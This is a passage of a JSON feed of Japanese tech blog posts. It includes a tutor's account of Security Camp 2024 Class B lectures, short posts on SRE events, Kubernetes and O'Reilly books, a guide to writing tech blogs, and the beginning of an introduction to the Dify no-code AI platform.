ご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。一覧を見る『世界の本物』を直輸入!業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!安さの秘密自慢の国内自社工場の『オリジナル』国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!安全・安心の秘密スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。店舗検索特売情報ホームWEBチラシ店舗案内ミラクルレシピ商品紹介直輸入商品国内自社工場商品業務スーパーとは安さの秘密安全安心の取り組み商品開発事前チェック現地工場チェック品質安全検査商品検証FC加盟店募集業務スーパー5つの強み業務スーパーの特徴オープンまでのプロセス体制について契約概要・加盟条件物件・商品のご提案募集お問い合わせ|会社案内|サイトポリシー|個人情報の保護に関する基本方針〒675-0063兵庫県加古川市加古川町平野125番1\xa92018-GyomuSuperAllRightsReserved.","link":"https://shu-kob.hateblo.jp/entry/2024/08/31/223416","isoDate":"2024-08-31T13:34:16.000Z","dateMiliSeconds":1725111256000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"セキュリティ・キャンプ 2024 参加記","contentSnippet":"8月12日から8月16日までの5日間で開催されたセキュリティ・キャンプ2024 全国大会のBクラス(プロダクトセキュリティ)にチューターとして参加したので、体験記を書き残す。昨年、Bクラス(当時は、Webセキュリティ)を修了し、今年チューターとして、もう一度セキュリティ・キャンプに参加することになった。昨年の参加記は、以下である。今読み返してみると、次はネクスト受講生かチューターで参加したいということを書いており、今年チューターとして参加できたのはとてもよかった。moz-security.hatenablog.com日程表Bクラスの日程は、このような感じだった。6つの専門講義があり、それに加えて共通講義やグループワーク, 特別講演などがあり、毎日8:30~21:00に稼働するというハードスケジュールとなっている。セキュリティ・キャンプ Bクラス スケジュール共通講義、グループワーク共通講義では、ゲームセキュリティや法律、人の心理・行動特性についての講義があった。また、毎日グループワークの時間が30分あり、1グループ4人構成でセキュリティ教育について話しあっていた。コンピュータを全く知らない主婦や子供からコンピュータサイエンスをある程度学んだ学生などさまざまなターゲットに対して、いろいろなアプローチでセキュリティ技術を伝えようとするアイデアがあり、ディスカッションや最終発表を見ていてとてもおもしろかった。専門講義Bクラスでは、プロダクト開発におけるセキュリティをテーマにして、講義が構成されていた。全て4時間の講義で、座学と演習の両方を行う形式になっている。1日目のホームルームでプロデューサーから、講義設計にあたり未知との遭遇の最大化を目標としている旨を伝えられた。知らないこともたくさん出てくるだろうが、「アウトプットを行う→フィードバックを得る→新たな知らないことが生まれる」のループを回すことをセキュリティキャンプを通じて、また、セキュリティキャンプが終わった後も行うことが大事だということを話されていた。また、技術の話だけでなくお金の話も講義に盛り込むようにしており、コストとセキュリティのバランスを見定めるといった、より社会で行われていることを体感して、社会に出た後に活躍してほしいというお話があった。そういう意味で、プロデューサーがBクラスは社会人クラスと言っていたのもおもしろかった。これら2つのことは、講義を全て終えた今、改めてとてもプロデューサーの講義設計に対する意図や思いを感じている。2日目B1: プロダクトセキュリティの展望セキュリティ・キャンプ2024 全国大会 B1 プロダクトセキュリティの展望(#seccamp2024) | ドクセル\\"プロダクトセキュリティの展望\\" では、プロダクトの定義とそれが指す範囲の広さ、非機能要件であるセキュリティと組織としての向き合い方について学んだ。なかでも、社会と技術と資産を面で見れるようになるとセキュリティを俯瞰して見ること・考えることができ、面で見れるようになるためには、社会の変化に敏感になることが重要であるということはとても記憶に残っている。セキュリティを仕事にする上で新技術の把握や継続的な学習は大事だと言われているが、この講義を通して再認識させられた。また、プロダクトの価値を早く・大きく・継続して届けるための技術についても学んだ。これらはお金が密接に絡んでくる点で経営側の視点も必要であり、今まで考えたことがなかったが、組織で自分が影響力を発揮していくためには押さえておく必要はあるし、今後勉強していきたいと思った。最後に、組織規模に応じたセキュリティ対策について学んだ。セキュリティ対策が必要だといっても実際に行うには導入・運用にコストがかかるため、コストとセキュリティのバランスが必要となってくるし、その判断が難しいのはよく言われているためすでにわかっていた。しかし、ではどれくらいの組織規模に対してどのような対策を行うのかということは今まであまり考えたことなく(学生で考える人はあまりいないと思っているが)、グループディスカッションや発表、講師以外の方のお話なども含めてとても学びになった。いろんな会社のいろんな役職の人たちがいるのもセキュリティ・キャンプのよさであると思う。B-2: 情報セキュリティ戦略戦術ワークショップ\\"情報セキュリティ戦略戦術ワークショップ\\" では、組織のセキュリティ対策の進め方やインシデントハンドリングについて学んだ。この講義でも、やはり組織規模に応じたセキュリティ対策についてのお話はあり、やらないといけないことはたくさんあるがどれから取り組むかを考えるといったときに、ベストプラクティスやガイドライン、フレームワークは非常に参考になることがわかった。また、インシデント対応において、まず気付ける仕組みと改善の実施が重要であることがわかった。たしかにログが残っていたり、インシデント発生時にアラートが出なかったりすると、そもそもインシデントに気付けない。そのため、セキュリティ担当でなかったとしても、インシデントに気付くために一開発者としてどのような情報(ログ, メトリクス, アラート)が必要なのかは考えるようにしたいと思った。演習では、受講生がグループでインシデントハンドリングを体験しており、チューターとしてはチャットツールでの関係者とのやり取りを見ていた。インシデントというと私は外部の攻撃者からのサイバー攻撃を想像してしまうが、それだけではない。メールの誤送信などといったオペレーションミスや部署間での情報共有の不足、内部不正なども、ちゃんとインシデントであり、それも意外と発生してしまうことがあることを学んだ。演習で関係者とのやりとりがなかなかうまくいかず、大変そうだったのはとても記憶に残っている(覚えるべきとこはそこじゃないw)。3日目B-3: セキュリティ監視入門セキュリティ監視入門 | Notion\\"セキュリティ監視入門\\" では、監視の重要性と監視アーキテクチャの設計・構築について学んだ。監視をする上で最も重要で、最初に考えなければいけないのはなぜ監視するのか・何のために監視するのかであり、そこが曖昧であると例え監視を行っていて異常を見つけたり、アラートが出たりしても、その後の対応に繋がらないということはとても頭に残っている。この講義でもB-1に引き続いて、組織規模に応じた監視アーキテクチャの構築やSOCやCSIRTといった組織の構築を学んだ。どれだけのコストをセキュリティ対策にかけるかは経営判断だが、現場で何が行われているのかやどのようなデータがどこに存在しているかは把握していなければ、セキュリティ監視を行うことやそれにかかるコストを見積もることはできない。ログの対象となるデータは無限と言っていいほど存在しており、どのログを取るのかとコストのバランスを考えることがセキュリティ担当者としての腕の見せ所であることがわかった。また、セキュリティ監視において大規模な運用が始まると不可逆性はかなり高いことも学んだ。これは、データ移行が大変になるからという理由だったが、私自身今までトライアンドエラーを繰り返すことをよしとしていたため、セキュリティ監視というケースではそれがあまりふさわしくないこともあることがわかった。B-4: モダンなプロダクト開発を攻撃者の視点で捉える\\"モダンなプロダクト開発を攻撃者の視点で捉える\\" では、攻撃者がどうやって組織に対して攻撃を行うのかについて学んだのちに、それにやられないために防御側はどのような対策が必要なのかということを考えた。講義を通して、攻撃側と防御側の両方の視点でセキュリティを考えることができたのは非常に学びになった。なかでも、攻撃者はフロー(グラフ)で考え、防御側はリストで考えるというのはとても記憶に残っている。攻撃側は一点だけでも突破できればいいのに対して、防御側は全てを守らなければならない。加えて、多層防御を行い、全てを守っていると思っていても、攻撃者は全く思わぬところからクリティカルな攻撃を行うかもしれない(VPNの脆弱性を突いて初期侵入とかではなく、物理的に侵入するとか)。そのため、セキュリティ担当者として組織を守るには、ベストプラクティスやガイドラインを参考にしつつ、明確なWhyを持ったセキュリティ対策を取るように意識することが重要になってくるとわかった。ゼロトラストやDevSecOpsといった新しく出てきたワードに縛られないようにすることも重要であり、それもWhyを意識することで具体的なセキュリティ対策の実現という本質的な部分に焦点を当てることができることを学んだ。大学や勉強会では防御について学んだり考えたりすることが多いが、攻撃側の視点を養うためにも、もっとHack The Boxを頑張ろうと思う。4日目B-5: 設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\"設計・開発・テストにおけるセキュリティの実践と考え方を知ろう\\" では、プロダクト開発において考慮すべきセキュリティと実践方法について学んだ。プロダクトをセキュアにするというと、実装する際に脆弱性を作らないよう気をつけたりリリース前に脆弱性診断を行ったりすることを私はイメージする。しかし、要件定義・設計・実装の段階にテスト工程を前倒しにするというShift-leftの理解と実践により、開発工程の早い段階で脆弱性の検出を行うことが重要であることがわかった。ただ、早い段階で脆弱性を発見しようとするとやらないといけないことが大量に増えるため、できるだけ自動化して、人でないとできない箇所に開発者が注力できる仕組みを作ることが大事だと学んだ。セキュリティに携わるものとして、意識改革やセキュリティ教育ももちろん大事だが、技術者である以上、仕組みで解決できないかという視点は大事だと思う。脆弱性を自動で発見する方法としてはSASTやDASTというものがあり、これらのツールを使ってスキャンを行うことを学んだ。これをCI/CDのパイプラインに組み込むことで、例えば、マージされたタイミングでSASTを行い、ステージング環境にデプロイしたタイミングでDASTを行うといったことができる。これにより、仮に開発者に全くセキュリティの知識がなくても、ある程度のセキュリティは担保することができることがわかった。B-6: クラウドネイティブなシステムを保護するための実践的KubernetesセキュリティGitHub - kyohmizu/seccamp2024-B6\\"クラウドネイティブなシステムを保護するための実践的Kubernetesセキュリティ\\" では、Kubernetesとは何かということととコンテナやKubernetesに対する脅威・セキュリティ対策について学んだ。なかでも、3章の攻撃シナリオを学び、実際に演習したことは記憶に残っている。Kubernetesやコンテナに対する攻撃手法として、コンテナブレイクアウトや認証情報の窃取があることはすでに知っていたが、それ単体で攻撃として成り立つわけではなく、攻撃の中の一工程に過ぎない。そのため、演習を通して、OSコマンドインジェクションの脆弱性を突いた後、徐々に範囲を拡大していき、最終的にKubernetesクラスタのAdmin権限取得まで行うとという経験ができたのはよかった。Kubernetesに対する脅威を身にしみて実感できたし、攻撃者が範囲を拡大していく(ラテラルムーブメント)どこか一箇所でも防ぐことができればここまでやられなかったかもしれないといった防御視点でも考えることができた。講義全体を通して昨年に引き続き、B-1からB-6まで非常に幅広い分野の講義があった。どの講義も講師の方が4時間で終わるか怪しいと講義前から言うほどのボリュームになっており、チューターとして参加しながらも、全てを理解できているわけではない。また、講義の位置付けとしては一応入門となっているし、講義資料には大量のリンクが貼ってある。これは、もっと勉強することはあるよというメッセージ?だろう。勉強するための足がかりも与えられた今、これらを活用して、今後さらに勉強していきたいと思う。また、どの講義でもコストとセキュリティについて取り上げられており、組織の中でセキュリティ対策を進めていこうと思うとコストとセキュリティを見定める能力(費用対効果を考える能力)は求められることを強く実感した。チューターとして立ち位置としては講師と受講生の間となるため、セキュリティ・キャンプ全体を通して、昨年よりもいろんな人といろんな話をすることができた気がする。今思い返すと、受講生として参加した昨年は講義に食らいつくのに必死だったし、自分のスキルに自信もなく、講師の方にも積極的に話を聞きにいこうとしていなかった。今年はチューターとして講義全体を俯瞰して見ることができ、受講生として参加したときよりも少しだけ気持ちに余裕が持てたのはよかったと思う。一方で、受講生の知識・スキルの高さには驚かされ、チューターと受講生というよりは、同じ関心を持つ同世代の仲間という気持ちで講義だけに限らず、休憩時間やご飯の時間も含めてたくさんの話ができたし、そのなかで勉強になることも多かった。チューターとして参加してみて、受講生が演習で困っているときに一緒に解決できたときには私も嬉しかったし、教えたり技術を広めることの面白さを少しだけ感じることができた気がする。セキュリティ・キャンプを修了した方には、チューターとしてセキュリティ・キャンプにもう一度参加することも検討に入れるのをお勧めしたい。感想どの講義も濃密で、チューターとして参加した今年も私にとって初めて知ることも多かった。勉強するきっかけをたくさん与えられるので、キャンプ中はもちろんのことキャンプ後も継続して勉強するネタが見つかるし、私自身これからもっと勉強したいと思う。また、受講生やチューターとして参加している同世代のすごい人たちやセキュリティの第一線で活躍している講師の方や関係者の方を見て話すことができ、今年もとても刺激を受けることができた。講義資料自体は講師の方が公開されているものも多くある(Bクラスの講義に限らず)ため、講師の方と話したり、みんなで議論したりできることこそがセキュリティ・キャンプに参加することの一番のよさであると思う。セキュリティに興味がある人はもちろん、もっと広くコンピュータに興味がある人全員にセキュリティ・キャンプを勧めたい。昨年書いていたので、今年も書いておこうと思う。来年はネクストの受講生としてまた戻ってきたい。Bクラス ほかの方のブログhack.nikkei.comzenn.dev","link":"https://moz-security.hatenablog.com/entry/2024/08/31/121836","isoDate":"2024-08-31T03:18:36.000Z","dateMiliSeconds":1725074316000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"SRETT#10 ~ 夏のSRE祭り!アーカイブ動画公開!","contentSnippet":"shu-kob.hateblo.jp2024年8月23日に弊社スリーシェイクのコミュニティ勉強会「SRETT #10 ~ 夏のSRE祭り!」が開催されました。www.youtube.comアーカイブ動画も公開されています!当日ご参加できなかった方もぜひご覧ください!自分は当日誘導係をやっていて、最初の菱田さんのセッション「SRE NEXT 2024 で形にしたバトンを渡せる仕組み」は最後のちょびっとだけしか聴けていないから、観ようかな。","link":"https://shu-kob.hateblo.jp/entry/2024/08/30/230631","isoDate":"2024-08-30T14:06:31.000Z","dateMiliSeconds":1725026791000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"CCoEとは","contentSnippet":"目次 はじめに CCoEとは クラウド活用に関する様々な課題 CCoE導入の際のポイント CCoEの導入事例 Sreakeでできること 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービス\xad […]The post CCoEとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ccoe%e3%81%a8%e3%81%af/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesとは","contentSnippet":"目次 はじめに Kubernetesの特徴と代表的な機能 Kubernetesを導入する際のポイント Kubernetesの導入事例 Sreakeでできること 1. はじめに 多様で複雑な現代のソフトウェア開発において、 […]The post Kubernetesとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オライリーのAWS生成AI本","contentSnippet":"AWSではじめる生成AI ―RAGアプリケーション開発から、基盤モデルの微調整、マルチモーダルAI活用までを試して学ぶ作者:Chris Fregly,Antje Barth,Shelbee EigenbrodeオライリージャパンAmazonそういや、オライリージャパンからAWSの生成AI本出てますね。欲しいと思いながらも買うてない。現状、自身の仕事のほとんどはGoogle cloudなので、AWS書籍どうしようかと思ってますが、面白そうなら買うてみるしか!翻訳はAWS Japanの久富木 隆一さん。AWSの中の人が翻訳しているので確かでしょうね!","link":"https://shu-kob.hateblo.jp/entry/2024/08/29/234143","isoDate":"2024-08-29T14:41:43.000Z","dateMiliSeconds":1724942503000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-runner-cicd/","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SREをはじめよう」(Becoming SRE邦訳)が出版","contentSnippet":"SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazon「Becoming SRE」の邦訳である「SREをはじめよう」が2024/10/8オライリージャパンから発売されます!翻訳は、オライリーのSRE系の邦訳を数多く手掛けられてきた山口 能迪さん(Google所属)個人がSREになる、組織がSREになるという二面で書かれているようで、今からとても楽しみです!","link":"https://shu-kob.hateblo.jp/entry/2024/08/28/235736","isoDate":"2024-08-28T14:57:36.000Z","dateMiliSeconds":1724857056000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス","contentSnippet":"pages.sreake.comイベントで登壇していました。ご参加くださった方はありがとうございました!良い評価をいただけたようで光栄です!今回、「生成AI利活用を進めるためのプロセス」というテーマだったので、普段私があまり話さないことも話せて新鮮でした。genai-users.connpass.com普段は、日本生成AIユーザ会でハンズオンをやっているように、具体的技術を話すことが多いので。今回とても良い経験になりました。今後も良い発表ができるよう精進していきます!","link":"https://shu-kob.hateblo.jp/entry/2024/08/27/235840","isoDate":"2024-08-27T14:58:40.000Z","dateMiliSeconds":1724770720000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"後継者不足のCOBOLを生成AIに引き継ぎ","contentSnippet":"www.itmedia.co.jpIT media AI+より。虚構新聞かと思いましたが(笑)、本当にようです。ベトナムの研究者が論文を出したのですね。日本でもCOBOLで書かれたシステムはまだまだ残っていますが、COBOL書けるエンジニアが高齢になってきて、後継者不足でもあります。海外もベトナムも同様なのですね。リプレイスしていくのも大事かと思いますが、全部のCOBOLシステムのリプレイスも難しいでしょうし、リプレイスしつつも、生成AIに書かせるのが現実解なのかもしれません。","link":"https://shu-kob.hateblo.jp/entry/2024/08/26/235854","isoDate":"2024-08-26T14:58:54.000Z","dateMiliSeconds":1724684334000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テックブログを書く時にやっていること","contentSnippet":"はじめにテックブログの執筆プロセスは、エンジニアの経験や知識を活用し、多様な情報源から価値ある内容を抽出し、読者にとって有益な形に整理する作業です。この過程では、自身の業務経験はもちろん、他のブログ記事や技術書籍など、幅広い情報を取り入れ、それらを咀嚼し、独自の視点で再構築します。この時に困難は伴いますが、同時に自身の考えを整理し、新たなアイデアを生み出す貴重な機会となります。 多くのエンジニアと同様に、私もブログのネタが自然に湧き出てくるタイプではありません。そこで、試行錯誤を重ねて確立した、効果的なブログ執筆方法を皆さんと共有したいと思います。この方法は、情報の収集から記事の執筆まで、段階的なアプローチを採用しています。各ステップを意識的に踏むことで、自分として納得できる記事を継続的に生み出すことが可能になります。以下に、私が日々実践しているプロセスを詳しく説明していきます。1. データ収集まずは、様々な源から幅広く情報を集めることから始めます。そして、実際に手を動かして経験を積みます。これらはすべて、潜在的なブログのネタになります。日々の業務で気づいたことをメモするデバッグ中に遭遇した興味深い問題や、その解決プロセスを詳細にメモしましょう。これらの経験は、他のエンジニアにとって貴重な学びとなる可能性があります。Slack、Notion、あるいは物理的なノートなど、自分に合った方法でメモを取る習慣をつけることが重要です。本を読みまくる技術書を定期的に読むことで、新しい知識や視点を得ることができます。読んだ本の要点や自分の見解をまとめることで、読者に価値ある情報を提供できます。月に1-2冊のペースで読書し、その内容を整理することをおすすめします。同僚との会話を大切にする昼食時や休憩時間の雑談でも、重要なトピックが浮上することがあります。例えば、マイクロサービスの課題について話し合った内容を、より深く掘り下げてブログ記事にすることができます。会話の中で出てきた興味深いポイントをメモする習慣をつけましょう。業界のニュースや記事を読む毎日30分程度、技術ブログやニュースをチェックする時間を設けましょう。最新のトレンドや技術動向をまとめた記事を定期的(例えば週1回)に書くことで、自身の知識も整理でき、読者にも価値を提供できます。実際に手を動かして試してみる興味のある新しいフレームワークやツールを使って、小規模なプロジェクトを作成してみましょう。この学習過程と気づきをステップバイステップで記事にまとめることで、読者に実践的な情報を提供できます。週末や空き時間を利用して、定期的に新しい技術に触れる機会を作りましょう。個人プロジェクトで開発する最近話題のツールや技術を自分のプロジェクトに組み込んでみましょう。この統合プロセスを詳細に記録し、遭遇した課題や解決策、得られた知見をブログ記事にまとめることで、読者に実用的な情報を提供できます。月に1つは新しい技術を個人プロジェクトに取り入れる目標を立てるのも良いでしょう。コードリーディングを習慣化するオープンソースのプロジェクトのコードを定期的に読むことで、優れた設計パターンや実装テクニックを学ぶことができます。興味深い発見があれば、それを解説する記事を書いてみましょう。週に1回、30分程度の時間をコードリーディングに充てることをおすすめします。2. データを創発させる集めたデータを基に新しい関連性を見出す創造のプロセスは、ブログ記事作成の核心部分です。既存の要素を新しく組み合わせることで、独自の洞察を生み出します。異なる分野の知識を結びつける人文科学や自然科学など、エンジニアリング以外の分野の本や記事を読むことで、新しい視点を得ることができます。例えば、心理学の概念をソフトウェアアーキテクチャの設計に応用するなど、意外な関連性を探求し、ブログ記事のユニークなテーマとして扱いましょう。月に1冊は異分野の本を読むことをおすすめします。原理原則に立ち返る様々なフレームワークや技術を比較分析する中で、それらの根底にある共通の設計原則や思想を見出すことができます。これらの普遍的な原則をブログの核心テーマとして扱うことで、読者に深い洞察を提供できます。技術書を読む際は、表面的な機能だけでなく、その背後にある設計思想にも注目しましょう。問題を抽象化するチームで直面した具体的な問題を一般化し、より広い文脈で捉え直すことで、多くのプロジェクトに適用できる普遍的な課題が見えてくることがあります。この抽象化された問題解決アプローチをブログにまとめることで、様々な状況に応用可能な知見を読者に提供できます。問題に直面したときは、「これは他のどんな場面でも起こりうるか?」と自問する習慣をつけましょう。技術のクロスオーバーを探す異なる技術領域や手法を組み合わせることで、新しいアイデアが生まれることがあります。例えば、機械学習の手法をWebアプリケーション開発に適用するなど、異分野の融合を探求し、そのアイデアをブログで提案してみましょう。週に1回、「今取り組んでいる技術は、他のどの分野と組み合わせられるか」を考える時間を設けるのも良いでしょう。3. 放置するこのステップが意外と大事です。わざとブログのアイデアを放置することで、無意識のうちに考えが熟成されます。完全に忘れるブログのアイデアをメモした後、意図的に1週間程度そのことを考えないようにします。この期間が経過した後に再度内容を見直すと、新鮮な目で客観的に評価できることがあります。Notionやトレロなどのツールを使って、アイデアを整理し、定期的に(例えば週1回)見直す時間を設けるのが効果的です。全く違う活動に没頭する技術的な思考から離れ、全く異なる活動に取り組むことで、思わぬインスピレーションを得ることがあります。例えば、自然の中でのアクティビティや芸術活動などに時間を費やしてみましょう。週末や休暇を利用して、定期的に技術以外の活動に没頭する時間を作ることをおすすめします。眠りにつく直前まで考え、そして手放す就寝前にブログの構成や内容について考えを巡らせ、その後意識的に手放すことで、睡眠中に無意識的な処理が行われることがあります。翌朝、新たな視点やアイデアが浮かんでくることも少なくありません。寝る前の15分間を「ブログアイデアタイム」として設定し、思考をノートに書き出してから眠るという習慣をつけてみましょう。4. もう一度考え続けてひらめきを待つアイデアを温めた後、再び記事の構想に取り組む時間です。この段階では、長期的な視点を持ちつつ、具体的な記事の形を模索します。過去のメモを読み返す1ヶ月以上前に書いたアウトラインや断片的なメモを見直すことで、当初気づかなかった重要なポイントが浮かび上がってくることがあります。これらの新たな気づきを記事の核心部分として活用しましょう。月に1回、過去のメモを整理し、再評価する時間を設けることをおすすめします。技術の未来を想像する現在の技術トレンドを分析し、5年後、10年後の技術の姿を想像してみましょう。この長期的な視点から現在の技術の使い方を解説することで、読者により価値のある洞察を提供できます。四半期に1回程度、技術の将来予測に関する記事を書くことを目標にしてみてください。複数の記事案を比較する同じテーマについて、異なるアプローチや切り口で3つ程度の記事案を考えてみましょう。それぞれの特徴を比較し、最も読者の役に立つと思われる方向性を選択します。この過程で、当初は思いもよらなかった新しい視点が生まれることもあります。記事を書く前に、必ず複数の構成案を作成し、それぞれのメリット・デメリットを評価する習慣をつけましょう。他の記事との差別化を考える同じトピックに関する既存の記事を徹底的に調査し、自分の経験や知識を活かして、どのような新しい視点や情報を提供できるかを考えます。他の記事にはない独自の切り口や、より深い洞察を加えることで、記事の価値を高めることができます。記事を書く前に、必ず競合する記事を5つ以上読み、それぞれの特徴をメモし、自分の記事の差別化ポイントを明確にしましょう。5. 出てきたアイデアの使い方を考えるいよいよ記事の具体的な構成を考える段階です。技術的な正確さを保ちつつ、読みやすく、実用的な内容にすることが重要です。同時に、記事の質を高め、読者との信頼関係を構築するために、以下の点に特に注意を払ってください。導入部分を工夫する読者の興味を引くために、記事の冒頭で技術が解決できる身近な問題や、その技術がもたらす具体的なメリットを提示します。例えば、「この技術を使うことで開発時間を30%削減できた」といった具体的な数字や、実際のユースケースを紹介することで、読者の関心を高めることができます。コードと説明のバランスを取る技術記事では、コード例と説明文のバランスが重要です。核となる概念を簡潔に説明した後、実際のコード例を示し、そのコードの各部分の詳細な解説を加えます。コードブロックは適度な長さに保ち、長すぎる場合は分割して説明を挟むことで、読者の理解を助けます。自分の経験を織り交ぜる技術の解説に加えて、その技術を実際のプロジェクトで使用した際の経験談を盛り込みます。直面した課題、試行錯誤のプロセス、最終的な解決策など、具体的なストーリーを共有することで、読者にとってより実践的で価値ある情報を提供できます。読者の疑問を予測する自分がその技術を学んだ時に抱いた疑問や、同僚から受けた質問などをリストアップし、それぞれに答える形で記事を構成します。FAQセクションを設けたり、「よくある間違い」といった項目を追加することで、読者の潜在的な疑問に先回りして答えることができます。根拠を示し、判断基準を明確にし、批判的思考を持つ強い主張や比較を行う際は、その根拠と判断基準を明確に示してください。「この方法が最善である」や「AよりBの方が優れている」と述べる場合、なぜそう考えるのか、どのような観点(パフォーマンス、可読性、学習曲線など)で判断したのかを詳細に説明してください。同時に、自説の限界や適用範囲も認識し、「この方法はすべての状況で最適というわけではありません」といった但し書きを加えることで、読者の批判的思考を促します。また、個人の意見や経験に基づく主張と、客観的な事実や統計データを明確に区別してください。「私の経験では...」や「一般的に言われているのは...」といった前置きを適切に使用することで、読者は情報の性質を正確に理解できます。まとめと次のステップを示す記事の最後には、主要ポイントの簡潔なまとめを提供するだけでなく、読者が次に取るべきアクションを具体的に提案します。例えば、その技術をさらに深く学ぶためのリソース、関連する技術やツール、次に挑戦すべき課題などを提示することで、読者の継続的な学習を促進します。さいごにテックブログの執筆は、私たちエンジニアにとって、単なる記事作成以上の意味を持つ活動のはずです。日々の経験や学びを整理し、深め、そして誰かと共有する機会として捉えることができます。完璧を目指すあまり執筆を躊躇するよりも、まずは自分自身が興味を持つテーマから書き始めることが大切だと私は考えています。 このアプローチは、読む人の役に立つかもしれないという期待とともに、執筆者自身の成長にもつながります。ブログを書く過程で、自分の考えを整理し、新たな視点を得られることもあります。それぞれのエンジニアの経験や視点は異なりますから、自分の言葉で記事を綴ることで、誰かにとって新しい気づきを提供できるかもしれません。日々の仕事や学習で得た知識や経験をブログにすることで、自分自身の中で新たな発見があったり、個人的な成長を感じたりすることがあります。また、読んでくれた人からのコメントや反応が、さらなる学びのきっかけになることもあります。最後に、読んでくださっている方々に伝えたいのは、あなたの経験や知識にも必ず誰かにとっての価値があるということです。 小さなことでも、誰かにとっては新しい発見や学びのきっかけになるかもしれません。ためらわずに書いてみることをお勧めします。テックブログの執筆を通じて、私たち一人一人が少しずつ学び、成長できたらいいなと思っています。あなたの書いた記事が、誰かの助けになるかもしれません。今日から始めてみるのはいかがでしょうか。各プロセスで生成AIを利用する際の注意点とか書こうと思ったんですけどもう良い時間なのでご飯に行きます。参考文献と言うか読んだ方がいい本この本は、テックブログのネタに困ったときというかアイデアが出ない時の救世主です。私はこの本から多大な影響を受けており、このブログで紹介した5つのステップもここから着想を得て実践しています。著者の主張する「新しいアイデアは既存の要素の新しい組み合わせ」という考え方は、肩の荷が下りるので本当に大切です(いつもはアイディアって言ってるんですけど今回はこの本に敬意を込めてアイデアとしてます)。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazonエンジニアとして文章を書くには「考える力」が不可欠です。この本は、その力を養うのに最適な一冊です。新版 思考の整理学 (ちくま文庫)作者:外山滋比古筑摩書房Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/26/210112","isoDate":"2024-08-26T12:01:12.000Z","dateMiliSeconds":1724673672000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"生成AIアプリケーション開発ノーコードフレームワークDify","contentSnippet":"dify.ai最近、Difyの話題をよく聞くので、軽くご紹介したいと思います。Difyとは? 生成AIアプリ開発を劇的に簡素化するプラットフォームDifyは、生成AIアプリケーションをノーコードで開発できる、非常に革新的なプラットフォームです。これまで、生成AIアプリの開発は、高度なプログラミングスキルを必要とし、専門エンジニアでなければ実現が難しいものでした。しかし、Difyの登場により、この状況が一変。非エンジニアでも、直感的な操作で複雑なAIアプリケーションを構築できるようになりました。Difyが選ばれる理由ノーコード開発: プログラミングの知識がなくても、ブロックを組み合わせるように視覚的にアプリを構築できます。RAG(Retrieval Augmented Generation)対応: 大規模言語モデル(LLM)と外部データソースを連携させ、より高度なAI機能を実現できます。オープンソース: プラットフォーム自体がオープンソースであり、自由にカスタマイズ・拡張できます。高機能: チャットボット、AIアシスタント、要約ツールなど、さまざまなタイプの生成AIアプリを開発可能です。企業との連携: 既存の企業システムとの連携もスムーズに行え、業務効率化に貢献します。Difyの主な特徴柔軟性: AIプロセスを自由に組み合わせて、柔軟なアプリケーションを開発できます。統合性: 既存のシステムとの連携が容易で、企業内の既存のデータやシステムと統合できます。監視性: 実行時の状況を監視し、AIモデルの性能を継続的に改善できます。スケーラビリティ: 需要に応じて、簡単にシステムを拡張できます。Difyでできることチャットボットの開発: 自然な会話ができるチャットボットを簡単に作成できます。AIアシスタントの開発: 顧客対応や業務支援を行うAIアシスタントを開発できます。文書の自動生成: レポートや記事などを自動生成できます。データ分析: 大量のデータを分析し、有益な情報を抽出できます。Difyが注目される理由生成AIの民主化: 生成AIの技術を、より多くの人々に開放し、AIの活用範囲を広げます。開発コストの削減: 高度なエンジニアを雇用する必要がなく、開発コストを大幅に削減できます。開発期間の短縮: 